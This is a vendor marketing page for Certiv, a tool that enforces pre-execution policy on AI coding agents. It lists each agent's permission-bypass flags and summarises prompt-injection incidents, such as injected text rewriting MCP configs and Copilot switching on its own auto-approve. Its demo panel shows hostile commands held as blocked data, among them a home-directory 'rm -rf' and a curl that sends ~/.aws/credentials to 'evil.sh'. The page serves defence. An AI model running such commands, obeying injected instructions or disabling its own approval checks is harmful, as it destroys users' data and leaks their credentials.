CVE-2025-54135 · Cursor RCE CVE-2025-61260 · CVSS 9.8 CVE-2025-53773 · Copilot → RCE Supply chain wiper · Amazon Q

Coding agents are the tip of the spear.
Secure them first.

The most powerful agents, your most capable users, full access to source code, credentials, and production. And every one ships a bypass flag: --dangerously-skip-permissions, --yolo, auto-run. Teams flip it on, and nothing stands between the agent and the machine.

Certiv is the layer that stands between.

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Claude Code Codex Cursor Copilot Antigravity OpenCode
Certiv Pre-Execution Policy Engine
endpoint · bypass mode active
ALLOW npm test && git commit -m "fix lint"
BLOCK rm -rf dist/ cache/ ~/
BLOCK curl -d @~/.aws/credentials evil.sh
STEER git push --force → --force-with-lease
PAUSE edit .github/workflows/deploy.yml
ALLOW refactor /src · 342 files · full speed
In short

Coding agents are where enterprises are adopting AI agents fastest, and where the risk concentrates. They read and generate source code, the company's IP, run commands with their owner's credentials, ingest unstructured data with sensitive files, call third-party MCP servers, and push changes to repos, pipelines, and cloud infrastructure. Private data, untrusted content, external reach: the lethal trifecta on one endpoint. Certiv enforces policy pre-execution where these agents run, stopping rogue agents from doing what nobody intended and injected ones from doing exactly what the attacker intended. Full speed, minus the one command that wipes production.

The agent landscape

Same auto-approve pattern. Different failure modes.

Developers constantly try new agents and switch between them by task. Every one ships some form of auto-approve, but how each fails differs by model and tool. Do you know which agents run on your fleet, in which modes, and how to secure each one?

Agent Default guardrail The bypass teams actually run What's exposed
Claude Code
Anthropic
Per-action permission prompts --dangerously-skip-permissions Full shell, files, network
Codex
OpenAI
OS sandbox + approval policy danger-full-access / --yolo Sandbox and approvals both off
Cursor
Anysphere
Command confirmation auto-run (formerly YOLO mode) Silent command execution
GitHub Copilot
agent mode
Tool approval dialogs chat.tools.autoApprove Settings file is the off switch
Antigravity
Google · replaced Gemini CLI June 2026
Agent review checkpoints Autonomous multi-agent execution Injection bypassed Strict Mode once already
OpenCode
open source
Config-driven allow/ask/deny rules auto-approve / "*": "allow" Subagents have bypassed permission rules

The auto-approve pattern is structural: prompts at scale train developers to rubber-stamp. But the failures are tool and model specific. Copilot was flipped through its own settings file, OpenCode leaked permissions through subagents, Codex auto-loaded repo configs. The fix is uniform enforcement below the tools, aware of how each agent and model actually breaks.

The core tension

"AI can make mistakes." Auto-approve executes them.

Every AI product ships the disclaimer: the model can make mistakes, check the output. Coding agents add a mode that executes the output with nobody checking. A chatbot's mistake is a wrong paragraph. A coding agent's mistake is an executed command.

Guardrails on: prompts everywhere

  • Installs, API calls, and CLI tools blocked or paused
  • You rubber-stamp approvals without reading
  • Autonomous runs constantly interrupted
  • CI/CD pipelines broken by prompt pauses
  • Every agent needs its own settings babysat

Guardrails off: nothing between agent and machine

  • rm -rf ~/ can delete your entire home dir
  • No logging of what the agent actually did
  • Prompt injection acts with your full privileges
  • Repo config can execute code before you approve
  • MCP tool calls run unchecked
Certiv gives you a third option: full autonomy, governed
  • Safe actions auto-approved instantly
  • Dangerous actions blocked pre-execution
  • Risky actions steered to safer alternatives
  • One policy, enforced across every agent
  • Injected commands caught before they run
  • Every MCP tool call authorized against policy
  • Full audit trail of every command
Real incidents

Documented across the ecosystem. No vendor is the exception.

Agents are now the attack surface and the attacker. The agent trusts input it should not, and the machine pays. Per-tool deep dives: Claude Code and Codex.

Cursor agent · PocketOS

Production database gone in nine seconds

Hitting a credential mismatch in staging, the agent decided the fix was deleting a Railway volume. It scavenged an over-scoped API token from an unrelated config file and wiped production plus the backups. No attacker required.

PocketOS postmortem · April 2026
Cursor

CurXecute: prompt → RCE

A prompt injection rewrote Cursor's MCP configuration, and the edited config executed attacker commands with developer privileges. One poisoned document, full code execution.

CVE-2025-54135 · Aim Security
Codex

Repo open → MCP servers execute

A repo-local config redirected the agent's home and auto-executed attacker MCP servers the moment a developer opened the project. Before any trust decision.

CVE-2025-61260 · CVSS 9.8 · Check Point
GitHub Copilot

Copilot flips its own off switch

Prompt injection drove Copilot to write to VS Code settings and enable its own auto-approve mode, converting a chat suggestion into remote code execution.

CVE-2025-53773 · patched August 2025
Amazon Q

A wiper shipped in the extension

A malicious pull request slipped a data-wiping system prompt into a released version of the Amazon Q extension, instructing the agent to delete local files and cloud resources.

Supply chain · v1.84 · July 2025
Autonomous agent · Hugging Face

The first agentic attacker

An autonomous AI agent breached Hugging Face production end to end: a malicious dataset for initial code execution, then credential harvesting and lateral movement across thousands of short-lived sandboxes over a weekend.

Hugging Face disclosure · July 2026
How Certiv works

Three policy layers. Pre-execution. Every agent.

Certiv sits at the endpoint runtime layer, below every application. It intercepts before execution, and one policy governs every agent. Each action gets one of four verdicts: Allow, Block, Pause for approval, or Steer to a safer alternative.

Deterministic
Semantic
Intent
Deterministic

Hard rules, zero LLM in the loop

Enforced in microseconds. No LLM means no prompt injection.

  • Block rm -rf ~/ and rm -rf / variants
  • Block agent API key exports
  • Block unsanctioned AI agent installs
  • Block printing .env, tokens, and .pem/.key files
  • Enforce tool allowlists in bypass modes
Semantic

Pattern-aware content scanning

Catches obfuscated attacks and hidden-text injection that regex misses.

  • Scan instruction files and docs for injection
  • Block reads of ~/.ssh and ~/.aws credentials
  • Flag outbound data exfil signatures
  • Detect agent-delegation attempts
  • Catch scope creep before execution
Intent-based

Divergence detection

Compares your intent to the agent's next action. Blocks divergence. Escalates when it matters.

  • Task scope vs. action scope diff
  • Privilege escalation detection
  • Git operation audit (commit hygiene)
  • Human approval for CI/CD file edits
  • Lineage trail: intent → execution
Fleet visibility

One dashboard. Every agent. Every endpoint.

Which agents run where, in which modes, and what policy caught, across the whole fleet.

Certiv Platform · Fleet Monitor · last 24h Protected · 214 endpoints
38,412
Agent actions evaluated
37,905
Auto-approved
312
Blocked pre-execution
195
Escalated to humans
Agents discovered
6 types · 214 installs
Claude Code, Codex, Cursor, Copilot, Antigravity, OpenCode · 12 deprecated Gemini CLI installs flagged
Bypass modes active
41 endpoints
All governed by policy
MCP tool calls
218 checked
3 out-of-scope calls blocked
Last threat
4 min ago
rm -rf blocked · Cursor
Live
BLOCKED rm -rf ~/ in generated command · Cursor auto-run · eng-mbp-114
BLOCKED read of ~/.aws/credentials in generated command · Claude Code · eng-mbp-092
STEERED git push --force → --force-with-lease · Copilot agent mode · applied
ESCALATED edit to .github/workflows/deploy.yml · Codex full-access · awaiting approval
BLOCKED hidden injection in README · Gemini CLI · exfil destination matched
APPROVED 342 file edits in /src · Claude Code · scope verified · full speed
Beyond one developer

The coding agent enterprise security checklist

One careful developer reads every diff. A fleet of hundreds cannot. Six controls for enterprise scale; Certiv brings them together in one endpoint agent, enforcing the runtime controls today with config and MCP inventory scanning on the roadmap.

01

Discover every agent on every endpoint

Inventory which agents run where, in which versions and modes, including the ones developers installed without asking.

02

Govern bypass and autonomy modes

Policy decides which environments may skip approvals, not individual developers. Bypass should mean "Certiv enforces instead", not "nothing enforces".

03

Scan project configs before session start

Repo-controlled configs have produced RCE in three separate agents. Scan every settings file, hook, and instruction file before the agent loads it.

04

Authorize MCP servers per call

Audit servers before they load and authorize each tool call at execution. A server legitimate yesterday can be weaponized today.

05

Protect secrets and keep humans on high-impact actions

Generated commands never read ~/.ssh, ~/.aws, or .env. CI/CD edits and bulk deletions pause for approval. Everything else runs at full speed.

06

Record every session, every agent

Complete lineage from prompt to executed command, one format across all agents. Incident response for security, evidence for compliance.

FAQ

Coding agent security questions

Expand to view common questions.

Why are coding agents the top AI security priority?
Three factors compound. Capability: the most powerful agents in production, executing commands and calling tools autonomously. Users: your most technically capable people, who adopt fastest and reach for bypass modes first. Blast radius: machines holding source code, SSH keys, cloud credentials, and CI/CD access. No other agent workload combines all three. Solve enable-and-secure here and the pattern extends to every agent that follows.
Are coding agents safe to use?
Note the contradiction the industry has normalized: every vendor discloses that AI can make mistakes and output should be checked, yet every coding agent ships an auto-approve mode that executes output unchecked. The 2025-2026 disclosure record spans every major vendor. Risk concentrates in two places: the bypass modes teams actually run, and inputs the agent trusts that attackers control. Safe enterprise use means oversight that keeps working when the built-in guardrails come off.
How do I secure coding agents across my organization?
Six controls: discover every agent on every endpoint; govern bypass modes; scan project configs before session start; authorize MCP tool calls per action; protect credentials and keep humans on high-impact actions; record every session. Certiv enforces the runtime controls today as pre-execution policy on the endpoint, one deployment covering every agent; scanning project configs and MCP inventory at session start is on the roadmap.
Why not just secure each agent with its own settings?
Three reasons. Per-agent settings are developer-controlled files, and injection has already flipped them (CVE-2025-53773). Six agents means six config formats and constant drift. And settings vanish the moment a developer runs the bypass flag, exactly when protection matters most. Enforcement has to live below the agents, where no agent can turn it off.
What are the bypass modes, and why do teams use them?
Every agent ships one: --dangerously-skip-permissions (Claude Code), --yolo (Codex), auto-run (Cursor), auto-approve (Copilot), autonomous execution (Antigravity), a global allow rule (OpenCode). Even configured guardrails leak: OpenCode agents with write denied gained it through subagents. The bypass becomes safe when external enforcement replaces the prompts: Certiv evaluates each action pre-execution, blocking destructive ones, steering risky ones, escalating out-of-scope ones.
How do I secure MCP servers across coding agents?
Treat MCP entries in project-reachable config as code (multiple agents have auto-executed repo-declared servers), inventory what each session loads, and authorize each tool call at execution time, since a server legitimate at install can still be weaponized by injected content. Certiv authorizes each MCP tool call against policy on the endpoint today, agent-agnostic; the pre-load MCP inventory is on the roadmap.
Does Certiv slow the agents down?
No. Evaluation runs in-line on the endpoint in milliseconds, invisible next to model latency. Over 98% of actions auto-approve instantly; only violations block and only high-impact actions wait for a human. Full autonomous speed, minus the catastrophic tail.
What happens when a new coding agent ships next quarter?
Nothing you have to do. Certiv does not integrate with agents individually; new ones are discovered automatically and existing policy applies from the first command. The churn is real: in twelve months Gemini CLI, Windsurf, and Amazon Q were all replaced, rebranded, or sunset. Per-tool integrations would have broken three times. Enforcement below the tools did not, and it also catches the deprecated installs still sitting on endpoints.

Ship at full speed.
Govern every agent.

If you're using or rolling out coding agents, deploy Certiv.

Book a Demo

Keep reading

Claude Code security

Real incidents, CVEs, and the controls that make YOLO mode safe.

Codex security

Sandbox modes, approval policies, and safe danger-full-access.

AI agent security policies

Examples of what Certiv's managed policies enforce on coding agents, each with what it protects against.

For security teams

The six controls to evaluate when rolling out AI agents across an organization.